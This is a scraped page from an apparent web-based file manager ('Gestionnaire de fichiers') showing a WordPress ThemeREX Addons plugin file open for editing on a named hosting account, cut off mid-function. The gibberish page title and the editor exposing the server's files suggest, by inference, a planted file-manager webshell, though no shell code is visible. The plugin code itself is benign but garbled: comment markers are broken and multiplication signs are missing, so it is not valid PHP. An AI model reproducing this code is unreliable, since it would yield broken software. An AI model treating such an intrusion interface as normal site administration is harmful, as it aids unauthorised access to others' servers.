Gestionnaire de fichiers

ldsfkmskdqsdqs xdqsldkqsmdkqsdqs qskdjqlsdjzmalkdjqsd ldsfkmskdqsdqs xdqsldkqsmdkqsdqs qskdjqlsdjzmalkdjqsd Gestionnaire de fichiers

Gestionnaire de fichiers - Editer - /home/genremedia08/thepassage.overlookedtracks.com/wp-content9/plugins/trx_addons/includes/plugin.wp.php

Arrière
<?php /** * WordPress utilities * * @package ThemeREX Addons * @since v1.0 / // Don't load directly if ( ! defined( 'TRX_ADDONS_VERSION' ) ) { exit; } / Browser-specific classes ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_browser_classes') ) { // A filter hook is commented, because a classes assignment is moved to the js for compatibility with caching plugins //add_filter( 'body_class', 'trx_addons_browser_classes' ); /* * Add browser-specific classes to the body tag * * @hooked body_class * * @param array $classes List of classes * * @return array Modified list of classes / function trx_addons_browser_classes( $classes ) { // WordPress global vars global $is_lynx, $is_gecko, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_IE, $is_winIE, $is_macIE, $is_edge, $is_iphone, $is_apache, $is_nginx, $is_IIS, $is_iis7; // User agent $user_agent = ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : ''; // Platform if ( preg_match("/(iPad\|iPhone\|iPod)/", $user_agent, $matches) ) { if ( ! empty($matches[1]) ) { $classes[] = 'ua_ios'; } } if ( ! empty($is_iphone) ) { $classes[] = 'ua_iphone'; } if ( wp_is_mobile() ) { $classes[] = 'ua_mobile'; } // Browser if ( preg_match("/[\\s]Firefox\\/([0-9.])/", $user_agent, $matches) ) { $classes[] = 'ua_firefox'; } if ( ! empty($is_gecko) ) { $classes[] = 'ua_gecko'; } if ( ! empty($is_chrome) ) { $classes[] = 'ua_chrome'; if ( preg_match("/[\\s]OPR\\/([0-9.])/", $user_agent, $matches) ) { if ( ! empty($matches[1]) ) { $classes[] = 'ua_opera ua_opera_webkit'; } } } if ( ! empty($is_safari) ) { $classes[] = 'ua_safari'; } if ( ! empty($is_opera) ) { $classes[] = 'ua_opera'; } if ( ! empty($is_edge) ) { $classes[] = 'ua_edge'; } if ( ! empty($is_IE) ) { $classes[] = 'ua_ie'; if ( ! empty($is_winIE) ) { $classes[] = 'ua_ie_win'; } else if ( ! empty($is_macIE) ) { $classes[] = 'ua_ie_mac'; } if ( preg_match("/Trident[^;];[\\s]rv:([0-9.])/", $user_agent, $matches) \|\| preg_match("/MSIE[\\s]([0-9.])/", $user_agent, $matches) ) { if ( ! empty($matches[1]) ) { $classes[] = 'ua_ie_' . (int)$matches[1]; if ( (int)$matches[1] < 11 ) { $classes[] = 'ua_ie_lt11'; } } } } if ( ! empty($is_NS4) ) { $classes[] = 'ua_ns4'; } if ( ! empty($is_lynx) ) { $classes[] = 'ua_lynx'; } return $classes; } } /* Page preloader ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_body_classes') ) { add_filter( 'body_class', 'trx_addons_body_classes' ); /* * Add page 'preloader' and 'frontpage' classes to the body classes * * @hooked body_class * * @param array $classes List of classes * * @return array Modified list of classes / function trx_addons_body_classes( $classes ) { if ( ! trx_addons_is_off( trx_addons_get_option('page_preloader') ) ) { $classes[] = 'preloader'; } if ( is_front_page() && get_option('show_on_front')=='page' && (int) get_option('page_on_front') > 0 ) { $classes[] = 'frontpage'; } return $classes; } } if ( ! function_exists('trx_addons_add_page_preloader') ) { add_action('trx_addons_action_before_body', 'trx_addons_add_page_preloader', 1); add_action('wp_footer', 'trx_addons_add_page_preloader', 1); /* * Add page preloader layout to the page output * * @hooked trx_addons_action_before_body * @hooked wp_footer / function trx_addons_add_page_preloader() { static $loaded = false; if ( $loaded ) return; $loaded = true; if ( ( $preloader = trx_addons_get_option( 'page_preloader' ) ) != 'none' && ( $preloader != 'custom' \|\| ( $image = trx_addons_get_option( 'page_preloader_image' ) ) != '' ) ) { ?><div id="page_preloader"><?php if ($preloader == 'circle') { ?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_circ1"></div><div class="preloader_circ2"></div><div class="preloader_circ3"></div><div class="preloader_circ4"></div></div><?php } else if ($preloader == 'square') { ?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_square1"></div><div class="preloader_square2"></div></div><?php } else if ($preloader == 'dots') { ?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_dot" id="preloader_dot_one"></div><div class="preloader_dot" id="preloader_dot_two"></div><div class="preloader_dot" id="preloader_dot_three"></div></div><?php } else { do_action('trx_addons_action_preloader_wrap', $preloader); } ?></div><?php } } } if ( ! function_exists('trx_addons_add_page_preloader_styles') ) { add_action('wp_head', 'trx_addons_add_page_preloader_styles'); /* * Add page preloader styles to the head output * * @hooked wp_head / function trx_addons_add_page_preloader_styles() { if ( ( $preloader = trx_addons_get_option( 'page_preloader' ) ) != 'none' ) { ?> <style type="text/css"> <!-- #page_preloader { <?php $bg_color = trx_addons_get_option('page_preloader_bg_color'); if ( ! empty( $bg_color ) ) { ?>background-color: <?php echo esc_attr( $bg_color ); ?> !important;<?php } $image = trx_addons_get_option('page_preloader_image'); if ( $preloader == 'custom' && ! empty( $image ) ) { ?>background-image: url( <?php echo esc_url( $image ); ?> );<?php } ?> } <?php $color = trx_addons_get_option('page_preloader_color'); if ( ! empty( $color ) ) { ?> #page_preloader .preloader_wrap > div { background-color: <?php echo esc_attr( $color ); ?> !important; } <?php } ?> --> </style> <?php } } } / Scroll to top button ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_add_scroll_to_top') ) { add_action('wp_footer', 'trx_addons_add_scroll_to_top', 9); /* * Add scroll to top button to the page output * * @hooked wp_footer / function trx_addons_add_scroll_to_top() { if ( trx_addons_is_on( trx_addons_get_option( 'scroll_to_top' ) ) ) { $type = apply_filters( 'trx_addons_filter_scroll_progress_type', '' ); trx_addons_show_layout( apply_filters( 'trx_addons_filter_scroll_to_top', "\n" // Add \n for W3C Validator to separate link from previous and following html . '<a href="#" role="button" class="trx_addons_scroll_to_top trx_addons_icon-up" title="' . esc_attr__('Scroll to top', 'trx_addons') . '">' . ( ! empty( $type ) ? '<span class="trx_addons_scroll_progress trx_addons_scroll_progress_type_' . esc_attr( $type ) . '"></span>' : '' ) . '</a>' . "\n" // Add \n for W3C Validator to separate link from previous and following html ) ); } } } / Post icon ------------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_post_icon') ) { /* * Return post icon from the post meta * * @param int $post_id post ID or 0 for current post to get icon * * @return string post icon / function trx_addons_get_post_icon( $post_id = 0 ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $meta = (array)get_post_meta( $post_id, 'trx_addons_options', true ); return ! empty( $meta['icon'] ) ? $meta['icon'] : ''; } } / Post views -------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_post_views') ) { /* * Return post views number from the post meta field 'trx_addons_post_views_count' * * @param int $id post ID or 0 for current post to get views * * @return int post views number / function trx_addons_get_post_views( $id = 0 ){ if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_views_count'; $count = get_post_meta($id, $key, true); if ($count===''){ delete_post_meta($id, $key); add_post_meta($id, $key, '0'); $count = 0; } } else $count = 0; return $count; } } if ( ! function_exists('trx_addons_set_post_views') ) { /* * Set post views number to the post meta field 'trx_addons_post_views_count' * * @param int $counter post views number * @param int $id post ID or 0 for current post to set views / function trx_addons_set_post_views( $counter = -1, $id = 0 ) { if ( ! $id) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_views_count'; $count = get_post_meta($id, $key, true); if ($count==='') { delete_post_meta($id, $key); add_post_meta($id, $key, 1); } else { $count = $counter >= 0 ? $counter : $count+1; update_post_meta($id, $key, $count); } } } } if ( ! function_exists('trx_addons_inc_post_views') ) { /* * Increment post views number to the post meta field 'trx_addons_post_views_count' * * @param int $inc incremented value. If 0 - increment views by 1 * @param int $id post ID or 0 for current post to increment views / function trx_addons_inc_post_views( $inc = 0, $id = 0 ) { if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_views_count'; $count = get_post_meta($id, $key, true); if ($count===''){ $count = max(0, $inc); delete_post_meta($id, $key); add_post_meta($id, $key, $count); } else { $count += $inc; update_post_meta($id, $key, $count); } } else { $count = 0; } return $count; } } / Post likes -------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_post_likes') ) { /* * Return post likes number from the post meta field 'trx_addons_post_likes_count' * * @param int $id post ID or 0 for current post to get likes * * @return int post likes number / function trx_addons_get_post_likes( $id = 0 ) { if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_likes_count'; $count = get_post_meta($id, $key, true); if ($count===''){ delete_post_meta($id, $key); add_post_meta($id, $key, '0'); $count = 0; } } else { $count = 0; } return $count; } } if ( ! function_exists('trx_addons_set_post_likes') ) { /* * Set post likes number to the post meta field 'trx_addons_post_likes_count' * * @param int $counter post likes number * @param int $id post ID or 0 for current post to set likes / function trx_addons_set_post_likes( $counter = -1, $id = 0 ) { if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_likes_count'; $count = get_post_meta($id, $key, true); if ($count===''){ delete_post_meta($id, $key); add_post_meta($id, $key, 1); } else { $count = $counter >= 0 ? $counter : $count+1; update_post_meta($id, $key, $count); } } } } if ( ! function_exists('trx_addons_inc_post_likes') ) { /* * Increment post likes number to the post meta field 'trx_addons_post_likes_count' * * @param int $inc incremented value. If 0 - increment by 1 * @param int $id post ID or 0 for current post to increment likes / function trx_addons_inc_post_likes( $inc = 0, $id = 0 ) { if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_likes_count'; $count = get_post_meta($id, $key, true); if ($count===''){ $count = max(0, $inc); delete_post_meta($id, $key); add_post_meta($id, $key, $count); } else { $count += $inc; update_post_meta($id, $key, max(0, $count)); } } else { $count = $inc; } return $count; } } / Post emotions -------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_post_emotions') ) { /* * Return post emotions array from the post meta field 'trx_addons_post_emotions' * * @param int $id post ID or 0 for current post to get emotions * * @return array post emotions array / function trx_addons_get_post_emotions( $id = 0 ){ $emotions = array(); if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $meta = get_post_meta($id, 'trx_addons_post_emotions', true); if (is_array($meta)) $emotions = $meta; } return $emotions; } } if ( ! function_exists('trx_addons_set_post_emotions') ) { /* * Set post emotions array to the post meta field 'trx_addons_post_emotions' * * @param array $emotions post emotions array * @param int $id post ID or 0 for current post to set emotions / function trx_addons_set_post_emotions( $emotions, $id = 0 ) { if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { update_post_meta($id, 'trx_addons_post_emotions', $emotions); } } } if ( ! function_exists('trx_addons_inc_post_emotions') ) { /* * Increment post emotions number to the post meta field 'trx_addons_post_emotions'. * * @param string $name emotion name * @param int $inc incremented value. If 0 - increment by 1 * @param int $id post ID or 0 for current post to increment emotions * * @return array post emotions array / function trx_addons_inc_post_emotions( $name, $inc = 0, $id = 0 ) { $emotions = array(); if ( ! $id ) { $id = trx_addons_get_the_ID(); } if ( $id ) { $key = 'trx_addons_post_emotions'; $meta = get_post_meta( $id, $key, true ); if ( is_array( $meta ) ) { $emotions = $meta; } $emotions[ $name ] = ( empty( $emotions[ $name ] ) ? 0 : $emotions[ $name ] ) + $inc; update_post_meta( $id, $key, $emotions ); trx_addons_inc_post_likes( $inc, $id ); } return empty($emotions[$name]) ? 0 : $emotions[$name]; } } if ( ! function_exists( 'trx_addons_init_post_counters' ) ) { add_action('save_post', 'trx_addons_init_post_counters'); /* * Init post counters when save post * * @hooked save_post * * @param int $id post ID / function trx_addons_init_post_counters( $id ) { global $post_type, $post; // check autosave if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) { return $id; } // check permissions if ( empty( $post_type ) \|\| ! is_string( $post_type ) \|\| ! current_user_can( 'edit_' . $post_type, $id ) ) { return $id; } if ( ! empty( $post->ID ) && $id == $post->ID ) { trx_addons_get_post_views( $id ); trx_addons_get_post_likes( $id ); } } } if ( ! function_exists( 'trx_addons_callback_post_counter' ) ) { add_action('wp_ajax_post_counter', 'trx_addons_callback_post_counter'); add_action('wp_ajax_nopriv_post_counter', 'trx_addons_callback_post_counter'); /* * AJAX handler for the 'post_counter' action to increment post's counter * * @hooked wp_ajax_post_counter * @hooked wp_ajax_nopriv_post_counter / function trx_addons_callback_post_counter() { trx_addons_verify_nonce(); $response = array('error'=>'', 'counter' => 0); $id = (int)$_REQUEST['post_id']; if ( isset( $_REQUEST['likes'] ) ) { $response['counter'] = trx_addons_inc_post_likes( (int)$_REQUEST['likes'], $id ); } else if ( isset( $_REQUEST['views'] ) ) { $response['counter'] = trx_addons_inc_post_views( (int)$_REQUEST['views'], $id ); } else if ( isset( $_REQUEST['emotion_inc'] ) \|\| isset( $_REQUEST['emotion_dec'] ) ) { $meta = trx_addons_get_post_emotions( $id ); $emotions = array(); if ( is_array( $meta ) ) { foreach ( $meta as $k => $v ) { if ( ! empty( $k ) && ! empty( $v ) ) { $emotions[ $k ] = $v; } } } $inc = 0; if ( ! empty( $_REQUEST['emotion_dec'] ) ) { $inc--; $emotions[ $_REQUEST['emotion_dec'] ] = isset( $emotions[ $_REQUEST['emotion_dec'] ] ) ? max( 0, $emotions[ $_REQUEST['emotion_dec'] ] - 1 ) : 0; } if ( ! empty( $_REQUEST['emotion_inc'] ) && ( empty( $_REQUEST['emotion_dec'] ) \|\| $_REQUEST['emotion_inc'] != $_REQUEST['emotion_dec'] ) ) { $inc++; $emotions[ $_REQUEST['emotion_inc'] ] = isset( $emotions[ $_REQUEST['emotion_inc'] ] ) ? $emotions[ $_REQUEST['emotion_inc'] ] + 1 : 1; } $response['counter'] = $emotions; trx_addons_set_post_emotions( $emotions, $id ); trx_addons_inc_post_likes( $inc, $id ); } trx_addons_ajax_response( $response ); } } if ( ! function_exists( 'trx_addons_inc_views_ajax' ) ) { add_filter("trx_addons_filter_localize_script", 'trx_addons_add_views_vars'); /* * Add a flag to increment views counter via AJAX * * @hooked trx_addons_filter_localize_script * * @param array $vars array of variables to localize * * @return array array of variables to localize / function trx_addons_add_views_vars( $vars ) { $vars['ajax_views'] = trx_addons_is_on( trx_addons_get_option('ajax_views') ) && apply_filters( 'trx_addons_filter_inc_views', trx_addons_is_singular() ); return $vars; } } if ( ! function_exists( 'trx_addons_inc_views_php' ) ) { add_action("wp_head", 'trx_addons_inc_views_php'); /* * Increment views counter via PHP * * @hooked wp_head / function trx_addons_inc_views_php() { if ( trx_addons_is_off( trx_addons_get_option('ajax_views') ) && apply_filters( 'trx_addons_filter_inc_views', trx_addons_is_singular() ) ) { trx_addons_inc_post_views( 1, get_the_ID() ); } } } if ( ! function_exists( 'trx_addons_get_post_reactions' ) ) { /* * Return reactions of the current post and show it (if need) * * @param boolean $show Show reactions or return as string * * @return string / function trx_addons_get_post_reactions( $show = false ) { if ( trx_addons_is_off( apply_filters( 'trx_addons_filter_emotions_allowed', trx_addons_get_option( 'emotions_allowed', 0 ) ) ) ) { return ''; } $post_id = get_the_ID(); $post_emotions = trx_addons_get_post_emotions($post_id); $liked = explode(',', trx_addons_get_cookie( 'trx_addons_emotions' ) ); $active = ''; foreach ( $liked as $v ) { if ( empty( $v ) ) { continue; } $tmp = explode('=', $v); if ( $tmp[0] == $post_id ) { $active = $tmp[1]; break; } } $list = trx_addons_get_option('emotions'); $output = ''; if ( is_array( $list ) ) { $output = '<div id="trx_addons_emotions" class="trx_addons_emotions">' . '<h5 class="trx_addons_emotions_title">' . esc_html__("What's your reaction?", 'trx_addons') . '</h5>'; foreach ( $list as $emo ) { $sn = $emo['name']; if ( empty( $sn ) ) { continue; } $fn = ! trx_addons_is_url( $sn ) ? str_replace( array( 'icon-', 'trx_addons_icon-' ), '', $sn ) : trx_addons_get_file_name( $sn ); $slug = $fn; $title = $emo['title']; if ( empty( $title ) ) { $title = $slug; } else { $slug = strtolower( sanitize_title( $title ) ); } $style = strpos( $sn, '.svg') !== false ? 'svg' : ( trx_addons_is_url( $sn ) ? 'images' : 'icons' ); $output .= '<span class="trx_addons_emotions_item trx_addons_emotions_item_icon_'.esc_attr($fn) . ' sc_icon_type_'.esc_attr($style) . ($style == 'icons' ? ' '.$sn : '') . (!empty($active) && $active==$slug ? ' trx_addons_emotions_active' : '') . '"' . ' data-slug="'.esc_attr($slug).'"' . ' data-postid="'.esc_attr($post_id).'"' . '>' . ($style == 'svg' ? trx_addons_get_svg_from_file($sn) : '') . ($style == 'images' ? '<img src="'.esc_url($sn).'" class="trx_addons_emotions_item_image">' : '') . '<span class="trx_addons_emotions_item_number">' . (!empty($post_emotions[$slug]) ? esc_html($post_emotions[$slug]) : '0') . '</span>' . '<span class="trx_addons_emotions_item_label">' . esc_html($title) . '</span>' .'</span>'; } } $output .= '</div>'; $output = apply_filters('trx_addons_filter_emotions', $output, $post_emotions, $list, $post_id); if ($show) trx_addons_show_layout($output); return $output; } } if ( ! function_exists( 'trx_addons_show_post_reactions' ) ) { add_action( 'trx_addons_action_after_article', 'trx_addons_show_post_reactions', 10, 1); /* * Show reactions in the single post * * @hooked trx_addons_action_after_article * * @param string $slug post slug / function trx_addons_show_post_reactions( $slug ) { if ( trx_addons_is_on( trx_addons_get_option( 'emotions_allowed', 0 ) ) && apply_filters('trx_addons_filter_show_post_reactions', trx_addons_is_single() && ! is_attachment() ) ) { trx_addons_get_post_reactions( true ); } } } if ( ! function_exists( 'trx_addons_post_class_with_reactions' ) ) { add_filter( 'post_class', 'trx_addons_post_class_with_reactions' ); /* * Add classes with reactions to the tag <article> * * @hooked post_class * * @param array $classes List of post classes * * @return array Modified list of classes / function trx_addons_post_class_with_reactions( $classes ) { $post_id = get_the_ID(); $emotions_allowed = trx_addons_is_on( trx_addons_get_option( 'emotions_allowed', 0 ) ); if ( $emotions_allowed ) { $liked = explode( ',', trx_addons_get_cookie( 'trx_addons_emotions' ) ); $active = ''; foreach ( $liked as $v ) { if ( empty( $v ) ) { continue; } $tmp = explode( '=', $v ); if ( $tmp[0] == $post_id ) { $active = $tmp[1]; break; } } if ( ! empty( $active ) ) { $classes[] = 'post_with_users_like post_with_users_emotion_'.esc_attr($active); } $post_emotions = trx_addons_get_post_emotions( $post_id ); if ( is_array( $post_emotions ) ) { arsort( $post_emotions ); $i=0; foreach ( $post_emotions as $k => $v ) { if ( empty( $k ) \|\| empty( $v ) ) { continue; } if ( $i++ == 0 ) { $classes[] = 'post_emotion_main_' . esc_attr( $k ); } $classes[] = 'post_emotion_' . esc_attr( $k ); } } } else { if ( strpos( trx_addons_get_cookie( 'trx_addons_likes' ), ',' . ( $post_id ) . ',' ) !== false ) { $classes[] = 'post_with_users_like'; } } return $classes; } } / Comment's likes -------------------------------------------------------------------------------- / if ( ! function_exists('trx_addons_get_comment_likes') ) { /* * Return Comment's Likes number * * @param int $id Comment ID. If 0 - get current comment ID * * @return int Comment's Likes number / function trx_addons_get_comment_likes( $id = 0 ) { if ( ! $id ) { $id = get_comment_ID(); } $key = 'trx_addons_comment_likes_count'; $count = get_comment_meta( $id, $key, true ); if ( $count === '' ){ delete_comment_meta( $id, $key ); add_comment_meta( $id, $key, '0' ); $count = 0; } return $count; } } if ( ! function_exists('trx_addons_set_comment_likes') ) { /* * Set Comment's Likes number * * @param int $id Comment ID. If 0 - get current comment ID * @param int $counter Likes number. If 0 - increment current value / function trx_addons_set_comment_likes( $id = 0, $counter = -1 ) { if ( ! $id ) $id = get_comment_ID(); $key = 'trx_addons_comment_likes_count'; $count = get_post_meta( $id, $key, true ); if ( $count === '' ) { delete_comment_meta( $id, $key ); add_comment_meta( $id, $key, 1 ); } else { $count = $counter >= 0 ? $counter : $count + 1; update_comment_meta( $id, $key, $count ); } } } if ( ! function_exists('trx_addons_inc_comment_likes') ) { /* * Increment Comment's Likes number * * @param int $id Comment ID. If 0 - get current comment ID * @param int $inc Incremented value. If 0 - increment current value * * @return int Likes number / function trx_addons_inc_comment_likes( $id = 0, $inc = 0 ) { if ( ! $id ) $id = get_comment_ID(); $key = 'trx_addons_comment_likes_count'; $count = get_comment_meta( $id, $key, true ); if ( $count === '' ){ $count = max( 0, $inc ); delete_comment_meta( $id, $key ); add_comment_meta( $id, $key, $count ); } else { $count += $inc; update_comment_meta( $id, $key, $count ); } return $count; } } if ( ! function_exists( 'trx_addons_init_comment_counters' ) ) { add_action( 'comment_post', 'trx_addons_init_comment_counters', 10, 2 ); /* * Init comment counters when new comment is posted. * * @hooked comment_post * * @param int $id Comment ID * @param int $status Comment status / function trx_addons_init_comment_counters( $id, $status = '' ) { if ( ! empty( $id ) ) { trx_addons_get_comment_likes( $id ); } } } if ( ! function_exists( 'trx_addons_callback_comment_counter' ) ) { add_action('wp_ajax_comment_counter', 'trx_addons_callback_comment_counter'); add_action('wp_ajax_nopriv_comment_counter','trx_addons_callback_comment_counter'); /* * Increment comment's counters via AJAX * * @hooked wp_ajax_comment_counter * @hooked wp_ajax_nopriv_comment_counter / function trx_addons_callback_comment_counter() { trx_addons_verify_nonce(); $response = array( 'error'=>'', 'counter' => 0 ); $id = (int) $_REQUEST['post_id']; if ( isset( $_REQUEST['likes'] ) ) { $response['counter'] = trx_addons_inc_comment_likes( $id, (int)$_REQUEST['likes'] ); } trx_addons_ajax_response( $response ); } } if ( ! function_exists( 'trx_addons_get_comment_counters' ) ) { /* * Return comment's counters layout * * @param string $counters A comma-separated list of counters. Allowed values: 'likes' * @param boolean $show Show counters * * @return string HTML layout with counters / function trx_addons_get_comment_counters( $counters = 'likes', $show = false ) { $comment_id = get_comment_ID(); $output = ''; if ( strpos( $counters, 'likes' ) !== false ) { $comment_likes = trx_addons_get_comment_likes( $comment_id ); $likes = trx_addons_get_cookie( 'trx_addons_comment_likes' ); $allow = strpos( sprintf( ',%s,', $likes ), sprintf(',%d,', $comment_id ) ) === false; $output .= '<a href="#" role="button"' . ' class="comment_counters_item comment_counters_likes trx_addons_icon-heart' . ( ! empty( $allow ) ? '-empty enabled' : ' disabled' ) . '"' . ' title="' . ( ! empty( $allow ) ? esc_attr_x( 'Like', 'link title', 'trx_addons' ) : esc_attr_x( 'Dislike', 'link title', 'trx_addons' ) ) . '"' . ' data-commentid="' . esc_attr( $comment_id ) . '"' . ' data-likes="' . esc_attr( $comment_likes ) . '"' . ' data-title-like="' . esc_attr_x( 'Like', 'link title', 'trx_addons' ) . '"' . ' data-title-dislike="' . esc_attr_x( 'Dislike', 'link title', 'trx_addons' ) . '"' . '>' . '<span class="comment_counters_number">' . trim( $comment_likes ) . '</span>' . '<span class="comment_counters_label">' . esc_html( _nx( 'Like', 'Likes', $comment_likes, 'after items number', 'trx_addons' ) ) . '</span>' . '</a>'; } $output = apply_filters( 'trx_addons_filter_get_comment_counters', $output, $counters ); if ( $show ) { trx_addons_show_layout( $output ); } return $output; } } / Menu utilities ------------------------------------------------------------------------------------- / if ( ! function_exists( 'trx_addons_get_nav_menu' ) ) { /* * Return menu html * * @param string $location Menu location * @param string $menu Menu slug * @param int $depth Menu depth * @param bool\|object $custom_walker Optional. An object with a custom walker used instead a standard menu builder * or true to use a custom walker from the plugin with class 'trx_addons_custom_menu_walker'. * Default is false. * * @return string Menu html / function trx_addons_get_nav_menu( $location = '', $menu = '', $depth = 0, $custom_walker = false ) { static $list = array(); $slug = $location . '_' . $menu; if ( empty( $list[ $slug ] ) ) { $list[ $slug ] = __('You are trying to use a menu inserted in himself!', 'trx_addons'); $args = array( 'menu' => empty( $menu ) \|\| $menu == 'default' \|\| trx_addons_is_inherit( $menu ) ? '' : $menu, 'container' => '', 'container_class' => '', 'container_id' => '', 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', 'menu_class' => 'sc_layouts_menu_nav' . ( ! empty( $location ) ? ' ' . esc_attr( $location ) . '_nav' : '' ), 'menu_id' => ! empty( $location ) ? $location : trx_addons_generate_id( 'sc_layouts_menu_' ), 'echo' => false, 'fallback_cb' => '', 'before' => '', 'after' => '', 'link_before' => trx_addons_get_setting( 'wrap_menu_items_with_span' ) ? '<span>' : '', 'link_after' => trx_addons_get_setting( 'wrap_menu_items_with_span' ) ? '</span>' : '', 'depth' => $depth ); if ( ! empty( $location ) ) { $args['theme_location'] = $location; } if ( $custom_walker ) { if ( is_object( $custom_walker ) ) { $args['walker'] = $custom_walker; } else if ( $custom_walker === true && class_exists( 'trx_addons_custom_menu_walker' ) ) { $args['walker'] = new trx_addons_custom_menu_walker; } } $list[ $slug ] = wp_nav_menu( apply_filters( 'trx_addons_filter_get_nav_menu_args', $args ) ); } return apply_filters( 'trx_addons_filter_get_nav_menu', $list[ $slug ], $location, $menu ); } } if ( ! function_exists( 'trx_addons_remove_empty_spaces_between_menu_items' ) ) { add_action( 'wp_nav_menu', 'trx_addons_remove_empty_spaces_between_menu_items', 98, 2 ); /* * Remove empty spaces between menu items * * @hooked wp_nav_menu * * @param string $html Menu html * @param array $args Menu args * * @return string Menu html without empty spaces / function trx_addons_remove_empty_spaces_between_menu_items( $html = '', $args = array() ) { return preg_replace( array( "/>[\r\n\s]<li/", "/>[\r\n\s]<\\/ul>/" ), array( "><li", "></ul>" ), $html ); } } if ( ! function_exists( 'trx_addons_remove_empty_menu_items' ) ) { add_action( 'wp_nav_menu', 'trx_addons_remove_empty_menu_items', 99, 2 ); /* * Remove empty menu items * * @hooked wp_nav_menu * * @param string $html Menu html * @param array $args Menu args * * @return string Menu html without empty items / function trx_addons_remove_empty_menu_items( $html = '', $args = array() ) { return trx_addons_get_setting( 'remove_empty_menu_items' ) ? preg_replace( "/<li[^>]>[\r\n\s]<a[^>]>[\r\n\s](<span>[\r\n\s]<\\/span>[\r\n\s])?<\\/a>[\r\n\s]<\\/li>/", "", $html ) : $html; } } if ( ! function_exists( 'trx_addons_add_current_menu_ancestor' ) ) { add_filter( 'wp_nav_menu_objects', 'trx_addons_add_current_menu_ancestor', 10, 2 ); /** * Add class 'current-menu-ancestor' for all parents of the 'current-menu-item' * * @hooked wp_nav_menu_objects * * @param array $items Menu items * @param array $args Menu args * * @return array Menu items with added current menu ancestor class / function trx_addons_add_current_menu_ancestor( $items, $args = array() ) { if ( is_array( $items ) ) { $parent = 0; foreach ( $items as $k => $v ) { if ( ! empty( $v->current ) ) { $parent = ! empty( $v->menu_item_parent ) ? $v->menu_item_parent : 0; break; } } $first = true; $last_parent = 0; while ( (int)$parent > 0 && $last_parent != $parent ) { $last_parent = $parent; foreach ( $items as $k => $v ) { if ( ! empty( $v->db_id ) && $v->db_id == $parent ) { $items[ $k ]->current_item_ancestor = true; if ( is_array( $v->classes ) && ! in_array( 'current-menu-ancestor', $v->classes ) ) { $items[ $k ]->classes[] = 'current-menu-ancestor'; } if ( $first ) { $first = false; $items[ $k ]->current_item_parent = true; if ( is_array( $v->classes ) && ! in_array( 'current-menu-parent', $v->classes ) ) { $items[ $k ]->classes[] = 'current-menu-parent'; } } $parent = ! empty( $v->menu_item_parent ) ? $v->menu_item_parent : 0; break; } } } } return $items; } } if ( ! function_exists( 'trx_addons_get_menu_cache_key' ) ) { /* * Generate menu cache key. Used to store menu in the cache * * @param array $args Menu args * * @return string Menu cache key / function trx_addons_get_menu_cache_key( $args ) { $key = ! empty( $args->theme_location ) ? 'location-(' . $args->theme_location . ')' : 'menu-(' . ( ! empty( $args->menu ) ? ( ! empty( $args->menu->slug ) ? $args->menu->slug : $args->menu ) : '' ) . ')'; return str_replace( ' ', '', $key ); } } if ( ! function_exists( 'trx_addons_add_menu_cache' ) ) { add_action( 'wp_nav_menu', 'trx_addons_add_menu_cache', 100, 2 ); /* * Add menu to the cache * * @hooked wp_nav_menu * * @param string $html Menu html * @param array $args Menu args * * @return string Menu html / function trx_addons_add_menu_cache( $html = '', $args = array() ) { if ( apply_filters( 'trx_addons_add_menu_cache', trx_addons_is_on( trx_addons_get_option('menu_cache') ), $args ) ) { trx_addons_cache_save( trx_addons_get_menu_cache_key( $args ), $html, 60 60 ); } return $html; } } if ( ! function_exists( 'trx_addons_get_menu_cache' ) ) { add_action( 'pre_wp_nav_menu', 'trx_addons_get_menu_cache', 100, 2 ); /** * Get menu from the cache * * @hooked pre_wp_nav_menu * * @param string $html Menu html * @param array $args Menu args * * @return string Menu html from cache / function trx_addons_get_menu_cache( $html, $args ) { if ( apply_filters( 'trx_addons_get_menu_cache', trx_addons_is_on( trx_addons_get_option('menu_cache') ), $args ) ) { $cache = trx_addons_cache_load( trx_addons_get_menu_cache_key( $args ) ); if ( ! empty( $cache ) ) { $html = apply_filters( 'trx_addons_filter_get_menu_cache_html', $cache, $args ); } } return $html; } } if ( ! function_exists( 'trx_addons_get_menu_cache_html' ) ) { add_filter( 'trx_addons_filter_get_menu_cache_html', 'trx_addons_get_menu_cache_html', 10, 2 ); /* * Filter menu html from cache before return it. Used to remove some classes and add to js-list with cached menus * * @hooked trx_addons_get_menu_cache * * @param string $html Menu html * @param array $args Menu args * * @return string Menu html / function trx_addons_get_menu_cache_html( $html, $args = array() ) { // Remove class 'sc_layouts_menu_nav' if ( ! empty( $args->clear_sc_layouts_classes ) ) { $html = str_replace( 'sc_layouts_menu_nav', '', $html ); } // Add to js-list with cached menus $menu_id = ''; $menu_class = ''; if ( preg_match_all( '/<ul[^>]+id=[\'"]([^\'"]+)[\'"]/i', $html, $matches ) && ! empty( $matches[1][0] ) ) { $menu_id = trim( $matches[1][0] ); } else if ( ! empty( $args->menu_id ) ) { $menu_id = trim( $args->menu_id ); } else { if ( ! empty( $args->menu_class ) ) { $menu_class = trim( 